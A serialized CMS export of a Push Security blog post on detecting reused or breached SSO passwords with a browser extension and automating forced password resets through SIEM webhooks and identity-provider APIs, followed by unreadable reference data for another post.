",{"data":158542,"content":158543,"nodeType":866},{},[158544],{"data":158545,"marks":158546,"value":158547,"nodeType":865},{},[],"It’s a constant worry that your CFO’s Microsoft, Google, or Okta credentials are going to show up in the next big darkweb password dump. Ideally you’d want to prevent users from reusing passwords across multiple services. That’s why your information security policy is mandating password manager use, right?",{"data":158549,"content":158550,"nodeType":866},{},[158551,158555,158560],{"data":158552,"marks":158553,"value":158554,"nodeType":865},{},[],"No matter how many policies you have in place, ",{"data":158556,"marks":158557,"value":158559,"nodeType":865},{},[158558],{"type":943},"people will inevitably use the same passwords across multiple services",{"data":158561,"marks":158562,"value":158563,"nodeType":865},{},[],". But who can blame them? Having to remember multiple passwords is a drag, especially when they find they can’t log into their company’s password manager from their home computers… The next best thing is to just reuse your Entra or Okta password across all services, right?!",{"data":158565,"content":158566,"nodeType":866},{},[158567],{"data":158568,"marks":158569,"value":158570,"nodeType":865},{},[],"At Push we realize that mistakes happen. That's why it's important to look out for when critical credentials are entered into a dodgy ecommerce platform, or the next entry lands on haveibeenpwnd.com.",{"data":158572,"content":158573,"nodeType":866},{},[158574],{"data":158575,"marks":158576,"value":158577,"nodeType":865},{},[],"By quickly forcing a password change when an SSO password is reused or breached, we can minimize the chance of it being abused by attackers. ",{"data":158579,"content":158580,"nodeType":866},{},[158581],{"data":158582,"marks":158583,"value":158584,"nodeType":865},{},[],"But how will you know when a password is reused or compromised? ",{"data":158586,"content":158587,"nodeType":972},{},[],{"data":158589,"content":158590,"nodeType":981},{},[158591],{"data":158592,"marks":158593,"value":158594,"nodeType":865},{},[],"Using Push data to alert on password vulnerabilities ",{"data":158596,"content":158597,"nodeType":866},{},[158598,158602,158611],{"data":158599,"marks":158600,"value":158601,"nodeType":865},{},[],"Enter the Push browser extension. Push fingerprints passwords (",{"data":158603,"content":158605,"nodeType":889},{"uri":158604},"https://pushsecurity.com/help/how-does-the-push-browser-extension-securely-track-reused-passwords",[158606],{"data":158607,"marks":158608,"value":158610,"nodeType":865},{},[158609],{"type":943},"in a safe way",{"data":158612,"marks":158613,"value":158614,"nodeType":865},{},[],") as they are used by employees to access apps in their browsers. ",{"data":158616,"content":158617,"nodeType":866},{},[158618,158622,158630],{"data":158619,"marks":158620,"value":158621,"nodeType":865},{},[],"When a user logs into an app using credentials that they’ve previously used to login to another account, Push fires off an alert. ",{"data":158623,"content":158624,"nodeType":889},{"uri":13526},[158625],{"data":158626,"marks":158627,"value":158629,"nodeType":865},{},[158628],{"type":943},"We can also detect when an active password is stolen and appears on a criminal forum",{"data":158631,"marks":158632,"value":14251,"nodeType":865},{},[],{"data":158634,"content":158638,"nodeType":912},{"target":158635},{"sys":158636},{"id":158637,"type":909,"linkType":910},"5He3FB0NT3D3lcbwiVtn02",[],{"data":158640,"content":158641,"nodeType":866},{},[158642,158646,158654],{"data":158643,"marks":158644,"value":158645,"nodeType":865},{},[],"If you’ve ",{"data":158647,"content":158648,"nodeType":889},{"uri":61393},[158649],{"data":158650,"marks":158651,"value":158653,"nodeType":865},{},[158652],{"type":943},"connected Push to your SIEM or SOAR",{"data":158655,"marks":158656,"value":158657,"nodeType":865},{},[],", you’ll be able to create a workflow to respond automatically. ",{"data":158659,"content":158660,"nodeType":1317},{},[158661],{"data":158662,"marks":158663,"value":158664,"nodeType":865},{},[],"Automating password resets in your SIEM using Push webhooks",{"data":158666,"content":158667,"nodeType":866},{},[158668],{"data":158669,"marks":158670,"value":158671,"nodeType":865},{},[],"You can automate password resets for accounts by ingesting this information via webhook into a SIEM, generating an alert. This in turn can fire off another webhook or workflow that sets the ‘force password change on next logon’ attribute on the user’s account.",{"data":158673,"content":158677,"nodeType":912},{"target":158674},{"sys":158675},{"id":158676,"type":909,"linkType":910},"5WFLIVm4DWcuH7a6owQlR1",[],{"data":158679,"content":158680,"nodeType":866},{},[158681],{"data":158682,"marks":158683,"value":158684,"nodeType":865},{},[],"Below is some POC python code we use internally. This is specific to Google Workspace, but the general logic should apply to any IdP that allows you to perform these actions via API calls.",{"data":158686,"content":158690,"nodeType":912},{"target":158687},{"sys":158688},{"id":158689,"type":909,"linkType":910},"4YNirRo8BlRrgGKwwzXE8R",[],{"data":158692,"content":158693,"nodeType":866},{},[158694,158698,158707,158711,158720],{"data":158695,"marks":158696,"value":158697,"nodeType":865},{},[],"You can perform similar functions in Microsoft Entra ID by modifying the user's ",{"data":158699,"content":158701,"nodeType":889},{"uri":158700},"https://learn.microsoft.com/en-us/graph/api/user-update?view=graph-rest-1.0&tabs=http#:~:text=DisablePasswordExpiration%2C%20DisableStrongPassword.-,passwordProfile,-PasswordProfile",[158702],{"data":158703,"marks":158704,"value":158706,"nodeType":865},{},[158705],{"type":943},"passwordProfile",{"data":158708,"marks":158709,"value":158710,"nodeType":865},{},[]," attribute via Microsoft Graph API, or in Okta via the ",{"data":158712,"content":158714,"nodeType":889},{"uri":158713},"https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserCred/#tag/UserCred/operation/expirePassword",[158715],{"data":158716,"marks":158717,"value":158719,"nodeType":865},{},[158718],{"type":943},"expire_password",{"data":158721,"marks":158722,"value":158723,"nodeType":865},{},[]," API endpoint.",{"data":158725,"content":158726,"nodeType":866},{},[158727],{"data":158728,"marks":158729,"value":158730,"nodeType":865},{},[],"You aren’t limited to just IdP accounts either – any app with an API that provides this functionality can be configured for automated password resets using Push data. ",{"data":158732,"content":158733,"nodeType":866},{},[158734,158738,158746],{"data":158735,"marks":158736,"value":158737,"nodeType":865},{},[],"We also use SSO password data to ",{"data":158739,"content":158740,"nodeType":889},{"uri":67859},[158741],{"data":158742,"marks":158743,"value":158745,"nodeType":865},{},[158744],{"type":943},"prevent users from entering their SSO credentials into phishing sites",{"data":158747,"marks":158748,"value":158749,"nodeType":865},{},[],", providing strong anti-phishing protection that is extremely hard for attackers to bypass. ",{"data":158751,"content":158752,"nodeType":972},{},[],{"data":158754,"content":158755,"nodeType":981},{},[158756],{"data":158757,"marks":158758,"value":158759,"nodeType":865},{},[],"Preventing attackers from exploiting vulnerable credentials has never been easier",{"data":158761,"content":158762,"nodeType":866},{},[158763,158767],{"data":158764,"marks":158765,"value":158766,"nodeType":865},{},[],"This is just one of the possible SecOps use cases that Push streamlines and levels up for security teams. ",{"data":158768,"marks":158769,"value":1356,"nodeType":865},{},[],{"data":158771,"content":158772,"nodeType":866},{},[158773],{"data":158774,"marks":158775,"value":1363,"nodeType":865},{},[],{"data":158777,"content":158781,"nodeType":912},{"target":158778},{"sys":158779},{"id":158780,"type":909,"linkType":910},"11p9wnGrZHqp3XPpThHFk3",[],{"data":158783,"content":158784,"nodeType":866},{},[158785],{"data":158786,"marks":158787,"value":21,"nodeType":865},{},[],"Automating SSO password resets using Push","Using Push to automate password resets for your most critical identities when a password vulnerability is detected.","2024-12-13T00:00:00.000Z","automating-sso-password-resets-using-push",{"items":158793},[158794,158796],{"sys":158795,"name":297},{"id":2310},{"sys":158797,"name":342},{"id":4642},{"items":158799},[158800],{"fullName":158801,"firstName":158802,"jobTitle":158803,"profilePicture":158804},"Johann Scheepers","Johann","Senior Security Engineer",{"url":158805},"https://images.ctfassets.net/y1cdw1ablpvd/75IEOH93vR0hbvxuqTu1m3/f6222745ee6892ea07bc18727a5a5ae7/T016S22KZ96-U02LU3SKC2D-e1e755770536-512.png",{"__typename":1429,"sys":158807,"content":158808,"title":157105,"synopsis":157106,"hashTags":59,"publishedDate":157107,"slug":157108,"tagsCollection":160113,"authorsCollection":160117},{"id":155609},{"json":158809},{"data":158810,"content":158811,"nodeType":1382},{},[158812,158818,158824,158837,158842,158857,158863,158869,158872,158878,158884,158954,158960,158966,158972,158978,158984,158990,159003,159008,159082,159088,159094,159125,159131,159136,159142,159155,159250,159270,159275,159281,159294,159299,159302,159308,159314,159327,159333,159339,159345,159365,159382,159387,159393,159399,159405,159418,159423,159454,159459,159465,159492,159502,159508,159514,159520,159564,159570,159575,159581,159584,159590,159596,159602,159608,159656,159669,159715,159742,159748,159803,159808,159814,159862,159879,159885,159898,159933,159939,159945,159951,159973,159978,159981,159987,159993,159999,160096,160102,160107],{"data":158813,"content":158814,"nodeType":981},{},[158815],{"data":158816,"marks":158817,"value":155620,"nodeType":865},{},[],{"data":158819,"content":158820,"nodeType":866},{},[158821],{"data":158822,"marks":158823,"value":155627,"nodeType":865},{},[],{"data":158825,"content":158826,"nodeType":866},{},[158827,158830,158834],{"data":158828,"marks":158829,"value":155634,"nodeType":865},{},[],{"data":158831,"marks":158832,"value":155639,"nodeType":865},{},[158833],{"type":898},{"data":158835,"marks":158836,"value":155643,"nodeType":865},{},[],{"data":158838,"content":158841,"nodeType":912},{"target":158839},{"sys":158840},{"id":155648,"type":909,"linkType":910},[],{"data":158843,"content":158844,"nodeType":866},{},[158845,158848,158854],{"data":158846,"marks":158847,"value":155656,"nodeType":865},{},[],{"data":158849,"content":158850,"nodeType":889},{"uri":155659},[158851],{"data":158852,"marks":158853,"value":155664,"nodeType":865},{},[],{"data":158855,"marks":158856,"value":155668,"nodeType":865},{},[],{"data":158858,"content":158859,"nodeType":866},{},[158860],{"data":158861,"marks":158862,"value":155675,"nodeType":865},{},[],{"data":158864,"content":158865,"nodeType":866},{},[158866],{"data":158867,"marks":158868,"value":155682,"nodeType":865},{},[],{"data":158870,"content":158871,"nodeType":972},{},[],{"data":158873,"content":158874,"nodeType":981},{},[158875],{"data":158876,"marks":158877,"value":155692,"nodeType":865},{},[],{"data":158879,"content":158880,"nodeType":866},{},[158881],{"data":158882,"marks":158883,"value":155699,"nodeType":865},{},[],{"data":158885,"content":158886,"nodeType":1616},{},[158887,158907,158927,158936,158945],{"data":158888,"content":158889,"nodeType":1570},{},[158890],{"data":158891,"content":158892,"nodeType":866},{},[158893,158896,158904],{"data":158894,"marks":158895,"value":155712,"nodeType":865},{},[],{"data":158897,"content":158900,"nodeType":33606},{"target":158898},{"sys":158899},{"id":142266,"type":909,"linkType":910},[158901],{"data":158902,"marks":158903,"value":155721,"nodeType":865},{},[],{"data":158905,"marks":158906,"value":1615,"nodeType":865},{},[],{"data":158908,"content":158909,"nodeType":1570},{},[158910],{"data":158911,"content":158912,"nodeType":866},{},[158913,158916,158924],{"data":158914,"marks":158915,"value":155734,"nodeType":865},{},[],{"data":158917,"content":158920,"nodeType":33606},{"target":158918},{"sys":158919},{"id":33939,"type":909,"linkType":910},[158921],{"data":158922,"marks":158923,"value":155743,"nodeType":865},{},[],{"data":158925,"marks":158926,"value":155747,"nodeType":865},{},[],{"data":158928,"content":158929,"nodeType":1570},{},[158930],{"data":158931,"content":158932,"nodeType":866},{},[158933],{"data":158934,"marks":158935,"value":155757,"nodeType":865},{},[],{"data":158937,"content":158938,"nodeType":1570},{},[158939],{"data":158940,"content":158941,"nodeType":866},{},[158942],{"data":158943,"marks":158944,"value":155767,"nodeType":865},{},[],{"data":158946,"content":158947,"nodeType":1570},{},[158948],{"data":158949,"content":158950,"nodeType":866},{},[158951],{"data":158952,"marks":158953,"value":155777,"nodeType":865},{},[],{"data":158955,"content":158956,"nodeType":866},{},[158957],{"data":158958,"marks":158959,"value":155784,"nodeType":865},{},[],{"data":158961,"content":158962,"nodeType":866},{},[158963],{"data":158964,"marks":158965,"value":155791,"nodeType":865},{},[],{"data":158967,"content":158968,"nodeType":866},{},[158969],{"data":158970,"marks":158971,"value":155798,"nodeType":865},{},[],{"data":158973,"content":158974,"nodeType":866},{},[158975],{"data":158976,"marks":158977,"value":155805,"nodeType":865},{},[],{"data":158979,"content":158980,"nodeType":866},{},[158981],{"data":158982,"marks":158983,"value":155812,"nodeType":865},{},[],{"data":158985,"content":158986,"nodeType":1317},{},[158987],{"data":158988,"marks":158989,"value":155819,"nodeType":865},{},[],{"data":158991,"content":158992,"nodeType":866},{},[158993,158996,159000],{"data":158994,"marks":158995,"value":155826,"nodeType":865},{},[],{"data":158997,"marks":158998,"value":79859,"nodeType":865},{},[158999],{"type":926},{"data":159001,"marks":159002,"value":1615,"nodeType":865},{},[],{"data":159004,"content":159007,"nodeType":912},{"target":159005},{"sys":159006},{"id":155838,"type":909,"linkType":910},[],{"data":159009,"content":159010,"nodeType":1616},{},[159011,159048,159057,159066],{"data":159012,"content":159013,"nodeType":1570},{},[159014],{"data":159015,"content":159016,"nodeType":866},{},[159017,159020,159024,159027,159031,159034,159038,159041,159045],{"data":159018,"marks":159019,"value":58577,"nodeType":865},{},[],{"data":159021,"marks":159022,"value":136538,"nodeType":865},{},[159023],{"type":926},{"data":159025,"marks":159026,"value":155859,"nodeType":865},{},[],{"data":159028,"marks":159029,"value":79859,"nodeType":865},{},[159030],{"type":926},{"data":159032,"marks":159033,"value":155867,"nodeType":865},{},[],{"data":159035,"marks":159036,"value":58533,"nodeType":865},{},[159037],{"type":926},{"data":159039,"marks":159040,"value":53880,"nodeType":865},{},[],{"data":159042,"marks":159043,"value":58541,"nodeType":865},{},[159044],{"type":926},{"data":159046,"marks":159047,"value":1615,"nodeType":865},{},[],{"data":159049,"content":159050,"nodeType":1570},{},[159051],{"data":159052,"content":159053,"nodeType":866},{},[159054],{"data":159055,"marks":159056,"value":155891,"nodeType":865},{},[],{"data":159058,"content":159059,"nodeType":1570},{},[159060],{"data":159061,"content":159062,"nodeType":866},{},[159063],{"data":159064,"marks":159065,"value":155901,"nodeType":865},{},[],{"data":159067,"content":159068,"nodeType":1570},{},[159069],{"data":159070,"content":159071,"nodeType":866},{},[159072,159075,159079],{"data":159073,"marks":159074,"value":155911,"nodeType":865},{},[],{"data":159076,"marks":159077,"value":58511,"nodeType":865},{},[159078],{"type":926},{"data":159080,"marks":159081,"value":155919,"nodeType":865},{},[],{"data":159083,"content":159084,"nodeType":866},{},[159085],{"data":159086,"marks":159087,"value":155926,"nodeType":865},{},[],{"data":159089,"content":159090,"nodeType":1317},{},[159091],{"data":159092,"marks":159093,"value":155933,"nodeType":865},{},[],{"data":159095,"content":159096,"nodeType":866},{},[159097,159100,159108,159111,159115,159118,159122],{"data":159098,"marks":159099,"value":155940,"nodeType":865},{},[],{"data":159101,"content":159104,"nodeType":33606},{"target":159102},{"sys":159103},{"id":80231,"type":909,"linkType":910},[159105],{"data":159106,"marks":159107,"value":80155,"nodeType":865},{},[],{"data":159109,"marks":159110,"value":155952,"nodeType":865},{},[],{"data":159112,"marks":159113,"value":155957,"nodeType":865},{},[159114],{"type":926},{"data":159116,"marks":159117,"value":155961,"nodeType":865},{},[],{"data":159119,"marks":159120,"value":155966,"nodeType":865},{},[159121],{"type":926},{"data":159123,"marks":159124,"value":6719,"nodeType":865},{},[],{"data":159126,"content":159127,"nodeType":866},{},[159128],{"data":159129,"marks":159130,"value":155976,"nodeType":865},{},[],{"data":159132,"content":159135,"nodeType":912},{"target":159133},{"sys":159134},{"id":155981,"type":909,"linkType":910},[],{"data":159137,"content":159138,"nodeType":1317},{},[159139],{"data":159140,"marks":159141,"value":155989,"nodeType":865},{},[],{"data":159143,"content":159144,"nodeType":866},{},[159145,159148,159152],{"data":159146,"marks":159147,"value":155996,"nodeType":865},{},[],{"data":159149,"marks":159150,"value":58494,"nodeType":865},{},[159151],{"type":926},{"data":159153,"marks":159154,"value":156004,"nodeType":865},{},[],{"data":159156,"content":159157,"nodeType":1616},{},[159158,159190,159210,159230],{"data":159159,"content":159160,"nodeType":1570},{},[159161],{"data":159162,"content":159163,"nodeType":866},{},[159164,159168,159171,159180,159183,159187],{"data":159165,"marks":159166,"value":156018,"nodeType":865},{},[159167],{"type":926},{"data":159169,"marks":159170,"value":156022,"nodeType":865},{},[],{"data":159172,"content":159175,"nodeType":33606},{"target":159173},{"sys":159174},{"id":156027,"type":909,"linkType":910},[159176],{"data":159177,"marks":159178,"value":156033,"nodeType":865},{},[159179],{"type":926},{"data":159181,"marks":159182,"value":156037,"nodeType":865},{},[],{"data":159184,"marks":159185,"value":58582,"nodeType":865},{},[159186],{"type":926},{"data":159188,"marks":159189,"value":156045,"nodeType":865},{},[],{"data":159191,"content":159192,"nodeType":1570},{},[159193],{"data":159194,"content":159195,"nodeType":866},{},[159196,159200,159203,159207],{"data":159197,"marks":159198,"value":156056,"nodeType":865},{},[159199],{"type":926},{"data":159201,"marks":159202,"value":156060,"nodeType":865},{},[],{"data":159204,"marks":159205,"value":58494,"nodeType":865},{},[159206],{"type":926},{"data":159208,"marks":159209,"value":156068,"nodeType":865},{},[],{"data":159211,"content":159212,"nodeType":1570},{},[159213],{"data":159214,"content":159215,"nodeType":866},{},[159216,159220,159223,159227],{"data":159217,"marks":159218,"value":156079,"nodeType":865},{},[159219],{"type":926},{"data":159221,"marks":159222,"value":156083,"nodeType":865},{},[],{"data":159224,"marks":159225,"value":58494,"nodeType":865},{},[159226],{"type":926},{"data":159228,"marks":159229,"value":156091,"nodeType":865},{},[],{"data":159231,"content":159232,"nodeType":1570},{},[159233],{"data":159234,"content":159235,"nodeType":866},{},[159236,159240,159243,159247],{"data":159237,"marks":159238,"value":156102,"nodeType":865},{},[159239],{"type":926},{"data":159241,"marks":159242,"value":156106,"nodeType":865},{},[],{"data":159244,"marks":159245,"value":79859,"nodeType":865},{},[159246],{"type":926},{"data":159248,"marks":159249,"value":156114,"nodeType":865},{},[],{"data":159251,"content":159252,"nodeType":866},{},[159253,159256,159260,159263,159267],{"data":159254,"marks":159255,"value":156121,"nodeType":865},{},[],{"data":159257,"marks":159258,"value":58511,"nodeType":865},{},[159259],{"type":926},{"data":159261,"marks":159262,"value":156129,"nodeType":865},{},[],{"data":159264,"marks":159265,"value":156134,"nodeType":865},{},[159266],{"type":926},{"data":159268,"marks":159269,"value":156138,"nodeType":865},{},[],{"data":159271,"content":159274,"nodeType":912},{"target":159272},{"sys":159273},{"id":156143,"type":909,"linkType":910},[],{"data":159276,"content":159277,"nodeType":1317},{},[159278],{"data":159279,"marks":159280,"value":156151,"nodeType":865},{},[],{"data":159282,"content":159283,"nodeType":866},{},[159284,159287,159291],{"data":159285,"marks":159286,"value":156158,"nodeType":865},{},[],{"data":159288,"marks":159289,"value":156163,"nodeType":865},{},[159290],{"type":926},{"data":159292,"marks":159293,"value":156167,"nodeType":865},{},[],{"data":159295,"content":159298,"nodeType":912},{"target":159296},{"sys":159297},{"id":156172,"type":909,"linkType":910},[],{"data":159300,"content":159301,"nodeType":972},{},[],{"data":159303,"content":159304,"nodeType":981},{},[159305],{"data":159306,"marks":159307,"value":156183,"nodeType":865},{},[],{"data":159309,"content":159310,"nodeType":866},{},[159311],{"data":159312,"marks":159313,"value":156190,"nodeType":865},{},[],{"data":159315,"content":159316,"nodeType":866},{},[159317,159320,159324],{"data":159318,"marks":159319,"value":156197,"nodeType":865},{},[],{"data":159321,"marks":159322,"value":155966,"nodeType":865},{},[159323],{"type":926},{"data":159325,"marks":159326,"value":156205,"nodeType":865},{},[],{"data":159328,"content":159329,"nodeType":866},{},[159330],{"data":159331,"marks":159332,"value":156212,"nodeType":865},{},[],{"data":159334,"content":159335,"nodeType":866},{},[159336],{"data":159337,"marks":159338,"value":156219,"nodeType":865},{},[],{"data":159340,"content":159341,"nodeType":1317},{},[159342],{"data":159343,"marks":159344,"value":156226,"nodeType":865},{},[],{"data":159346,"content":159347,"nodeType":866},{},[159348,159351,159355,159358,159362],{"data":159349,"marks":159350,"value":156233,"nodeType":865},{},[],{"data":159352,"marks":159353,"value":155966,"nodeType":865},{},[159354],{"type":926},{"data":159356,"marks":159357,"value":156241,"nodeType":865},{},[],{"data":159359,"marks":159360,"value":155957,"nodeType":865},{},[159361],{"type":926},{"data":159363,"marks":159364,"value":156249,"nodeType":865},{},[],{"data":159366,"content":159367,"nodeType":866},{},[159368,159372,159375,159379],{"data":159369,"marks":159370,"value":156257,"nodeType":865},{},[159371],{"type":926},{"data":159373,"marks":159374,"value":156261,"nodeType":865},{},[],{"data":159376,"marks":159377,"value":156266,"nodeType":865},{},[159378],{"type":926},{"data":159380,"marks":159381,"value":156270,"nodeType":865},{},[],{"data":159383,"content":159386,"nodeType":912},{"target":159384},{"sys":159385},{"id":156275,"type":909,"linkType":910},[],{"data":159388,"content":159389,"nodeType":866},{},[159390],{"data":159391,"marks":159392,"value":156283,"nodeType":865},{},[],{"data":159394,"content":159395,"nodeType":866},{},[159396],{"data":159397,"marks":159398,"value":156290,"nodeType":865},{},[],{"data":159400,"content":159401,"nodeType":1317},{},[159402],{"data":159403,"marks":159404,"value":156297,"nodeType":865},{},[],{"data":159406,"content":159407,"nodeType":866},{},[159408,159411,159415],{"data":159409,"marks":159410,"value":156304,"nodeType":865},{},[],{"data":159412,"marks":159413,"value":156309,"nodeType":865},{},[159414],{"type":926},{"data":159416,"marks":159417,"value":156313,"nodeType":865},{},[],{"data":159419,"content":159422,"nodeType":912},{"target":159420},{"sys":159421},{"id":156318,"type":909,"linkType":910},[],{"data":159424,"content":159425,"nodeType":866},{},[159426,159429,159433,159436,159440,159443,159451],{"data":159427,"marks":159428,"value":156326,"nodeType":865},{},[],{"data":159430,"marks":159431,"value":155362,"nodeType":865},{},[159432],{"type":926},{"data":159434,"marks":159435,"value":156334,"nodeType":865},{},[],{"data":159437,"marks":159438,"value":156339,"nodeType":865},{},[159439],{"type":926},{"data":159441,"marks":159442,"value":156343,"nodeType":865},{},[],{"data":159444,"content":159447,"nodeType":33606},{"target":159445},{"sys":159446},{"id":156348,"type":909,"linkType":910},[159448],{"data":159449,"marks":159450,"value":6715,"nodeType":865},{},[],{"data":159452,"marks":159453,"value":1615,"nodeType":865},{},[],{"data":159455,"content":159458,"nodeType":912},{"target":159456},{"sys":159457},{"id":156360,"type":909,"linkType":910},[],{"data":159460,"content":159461,"nodeType":1317},{},[159462],{"data":159463,"marks":159464,"value":156368,"nodeType":865},{},[],{"data":159466,"content":159467,"nodeType":866},{},[159468,159471,159475,159478,159482,159485,159489],{"data":159469,"marks":159470,"value":58358,"nodeType":865},{},[],{"data":159472,"marks":159473,"value":155333,"nodeType":865},{},[159474],{"type":926},{"data":159476,"marks":159477,"value":2717,"nodeType":865},{},[],{"data":159479,"marks":159480,"value":156386,"nodeType":865},{},[159481],{"type":926},{"data":159483,"marks":159484,"value":3476,"nodeType":865},{},[],{"data":159486,"marks":159487,"value":155362,"nodeType":865},{},[159488],{"type":926},{"data":159490,"marks":159491,"value":156397,"nodeType":865},{},[],{"data":159493,"content":159494,"nodeType":866},{},[159495,159499],{"data":159496,"marks":159497,"value":156405,"nodeType":865},{},[159498],{"type":926},{"data":159500,"marks":159501,"value":156409,"nodeType":865},{},[],{"data":159503,"content":159504,"nodeType":1317},{},[159505],{"data":159506,"marks":159507,"value":156416,"nodeType":865},{},[],{"data":159509,"content":159510,"nodeType":866},{},[159511],{"data":159512,"marks":159513,"value":156423,"nodeType":865},{},[],{"data":159515,"content":159516,"nodeType":866},{},[159517],{"data":159518,"marks":159519,"value":156430,"nodeType":865},{},[],{"data":159521,"content":159522,"nodeType":1616},{},[159523,159546,159555],{"data":159524,"content":159525,"nodeType":1570},{},[159526],{"data":159527,"content":159528,"nodeType":866},{},[159529,159532,159536,159539,159543],{"data":159530,"marks":159531,"value":156443,"nodeType":865},{},[],{"data":159533,"marks":159534,"value":156448,"nodeType":865},{},[159535],{"type":926},{"data":159537,"marks":159538,"value":4988,"nodeType":865},{},[],{"data":159540,"marks":159541,"value":156456,"nodeType":865},{},[159542],{"type":926},{"data":159544,"marks":159545,"value":156460,"nodeType":865},{},[],{"data":159547,"content":159548,"nodeType":1570},{},[159549],{"data":159550,"content":159551,"nodeType":866},{},[159552],{"data":159553,"marks":159554,"value":156470,"nodeType":865},{},[],{"data":159556,"content":159557,"nodeType":1570},{},[159558],{"data":159559,"content":159560,"nodeType":866},{},[159561],{"data":159562,"marks":159563,"value":156480,"nodeType":865},{},[],{"data":159565,"content":159566,"nodeType":866},{},[159567],{"data":159568,"marks":159569,"value":156487,"nodeType":865},{},[],{"data":159571,"content":159574,"nodeType":912},{"target":159572},{"sys":159573},{"id":156492,"type":909,"linkType":910},[],{"data":159576,"content":159577,"nodeType":866},{},[159578],{"data":159579,"marks":159580,"value":156500,"nodeType":865},{},[],{"data":159582,"content":159583,"nodeType":972},{},[],{"data":159585,"content":159586,"nodeType":981},{},[159587],{"data":159588,"marks":159589,"value":156510,"nodeType":865},{},[],{"data":159591,"content":159592,"nodeType":866},{},[159593],{"data":159594,"marks":159595,"value":156517,"nodeType":865},{},[],{"data":159597,"content":159598,"nodeType":866},{},[159599],{"data":159600,"marks":159601,"value":156524,"nodeType":865},{},[],{"data":159603,"content":159604,"nodeType":1317},{},[159605],{"data":159606,"marks":159607,"value":156531,"nodeType":865},{},[],{"data":159609,"content":159610,"nodeType":866},{},[159611,159614,159618,159621,159625,159628,159632,159635,159639,159642,159646,159649,159653],{"data":159612,"marks":159613,"value":156538,"nodeType":865},{},[],{"data":159615,"marks":159616,"value":131656,"nodeType":865},{},[159617],{"type":926},{"data":159619,"marks":159620,"value":156546,"nodeType":865},{},[],{"data":159622,"marks":159623,"value":58533,"nodeType":865},{},[159624],{"type":926},{"data":159626,"marks":159627,"value":53880,"nodeType":865},{},[],{"data":159629,"marks":159630,"value":58541,"nodeType":865},{},[159631],{"type":926},{"data":159633,"marks":159634,"value":156561,"nodeType":865},{},[],{"data":159636,"marks":159637,"value":79859,"nodeType":865},{},[159638],{"type":926},{"data":159640,"marks":159641,"value":156569,"nodeType":865},{},[],{"data":159643,"marks":159644,"value":58533,"nodeType":865},{},[159645],{"type":926},{"data":159647,"marks":159648,"value":53880,"nodeType":865},{},[],{"data":159650,"marks":159651,"value":58541,"nodeType":865},{},[159652],{"type":926},{"data":159654,"marks":159655,"value":156584,"nodeType":865},{},[],{"data":159657,"content":159658,"nodeType":866},{},[159659,159662,159666],{"data":159660,"marks":159661,"value":58577,"nodeType":865},{},[],{"data":159663,"marks":159664,"value":136538,"nodeType":865},{},[159665],{"type":926},{"data":159667,"marks":159668,"value":156598,"nodeType":865},{},[],{"data":159670,"content":159671,"nodeType":1616},{},[159672,159688,159697,159706],{"data":159673,"content":159674,"nodeType":1570},{},[159675],{"data":159676,"content":159677,"nodeType":866},{},[159678,159681,159685],{"data":159679,"marks":159680,"value":156611,"nodeType":865},{},[],{"data":159682,"marks":159683,"value":156616,"nodeType":865},{},[159684],{"type":926},{"data":159686,"marks":159687,"value":1615,"nodeType":865},{},[],{"data":159689,"content":159690,"nodeType":1570},{},[159691],{"data":159692,"content":159693,"nodeType":866},{},[159694],{"data":159695,"marks":159696,"value":156629,"nodeType":865},{},[],{"data":159698,"content":159699,"nodeType":1570},{},[159700],{"data":159701,"content":159702,"nodeType":866},{},[159703],{"data":159704,"marks":159705,"value":156639,"nodeType":865},{},[],{"data":159707,"content":159708,"nodeType":1570},{},[159709],{"data":159710,"content":159711,"nodeType":866},{},[159712],{"data":159713,"marks":159714,"value":156649,"nodeType":865},{},[],{"data":159716,"content":159717,"nodeType":866},{},[159718,159721,159725,159728,159732,159735,159739],{"data":159719,"marks":159720,"value":156656,"nodeType":865},{},[],{"data":159722,"marks":159723,"value":79859,"nodeType":865},{},[159724],{"type":926},{"data":159726,"marks":159727,"value":53880,"nodeType":865},{},[],{"data":159729,"marks":159730,"value":79867,"nodeType":865},{},[159731],{"type":926},{"data":159733,"marks":159734,"value":156671,"nodeType":865},{},[],{"data":159736,"marks":159737,"value":156676,"nodeType":865},{},[159738],{"type":926},{"data":159740,"marks":159741,"value":156680,"nodeType":865},{},[],{"data":159743,"content":159744,"nodeType":1317},{},[159745],{"data":159746,"marks":159747,"value":156687,"nodeType":865},{},[],{"data":159749,"content":159750,"nodeType":866},{},[159751,159754,159758,159761,159765,159768,159772,159775,159779,159782,159786,159789,159793,159796,159800],{"data":159752,"marks":159753,"value":156694,"nodeType":865},{},[],{"data":159755,"marks":159756,"value":58424,"nodeType":865},{},[159757],{"type":926},{"data":159759,"marks":159760,"value":156702,"nodeType":865},{},[],{"data":159762,"marks":159763,"value":156707,"nodeType":865},{},[159764],{"type":926},{"data":159766,"marks":159767,"value":2717,"nodeType":865},{},[],{"data":159769,"marks":159770,"value":156715,"nodeType":865},{},[159771],{"type":926},{"data":159773,"marks":159774,"value":2717,"nodeType":865},{},[],{"data":159776,"marks":159777,"value":156723,"nodeType":865},{},[159778],{"type":926},{"data":159780,"marks":159781,"value":11397,"nodeType":865},{},[],{"data":159783,"marks":159784,"value":58541,"nodeType":865},{},[159785],{"type":926},{"data":159787,"marks":159788,"value":156734,"nodeType":865},{},[],{"data":159790,"marks":159791,"value":136538,"nodeType":865},{},[159792],{"type":926},{"data":159794,"marks":159795,"value":156742,"nodeType":865},{},[],{"data":159797,"marks":159798,"value":156747,"nodeType":865},{},[159799],{"type":926},{"data":159801,"marks":159802,"value":156751,"nodeType":865},{},[],{"data":159804,"content":159807,"nodeType":912},{"target":159805},{"sys":159806},{"id":156756,"type":909,"linkType":910},[],{"data":159809,"content":159810,"nodeType":866},{},[159811],{"data":159812,"marks":159813,"value":156764,"nodeType":865},{},[],{"data":159815,"content":159816,"nodeType":1616},{},[159817,159826,159835,159844,159853],{"data":159818,"content":159819,"nodeType":1570},{},[159820],{"data":159821,"content":159822,"nodeType":866},{},[159823],{"data":159824,"marks":159825,"value":156777,"nodeType":865},{},[],{"data":159827,"content":159828,"nodeType":1570},{},[159829],{"data":159830,"content":159831,"nodeType":866},{},[159832],{"data":159833,"marks":159834,"value":156787,"nodeType":865},{},[],{"data":159836,"content":159837,"nodeType":1570},{},[159838],{"data":159839,"content":159840,"nodeType":866},{},[159841],{"data":159842,"marks":159843,"value":156797,"nodeType":865},{},[],{"data":159845,"content":159846,"nodeType":1570},{},[159847],{"data":159848,"content":159849,"nodeType":866},{},[159850],{"data":159851,"marks":159852,"value":156807,"nodeType":865},{},[],{"data":159854,"content":159855,"nodeTyp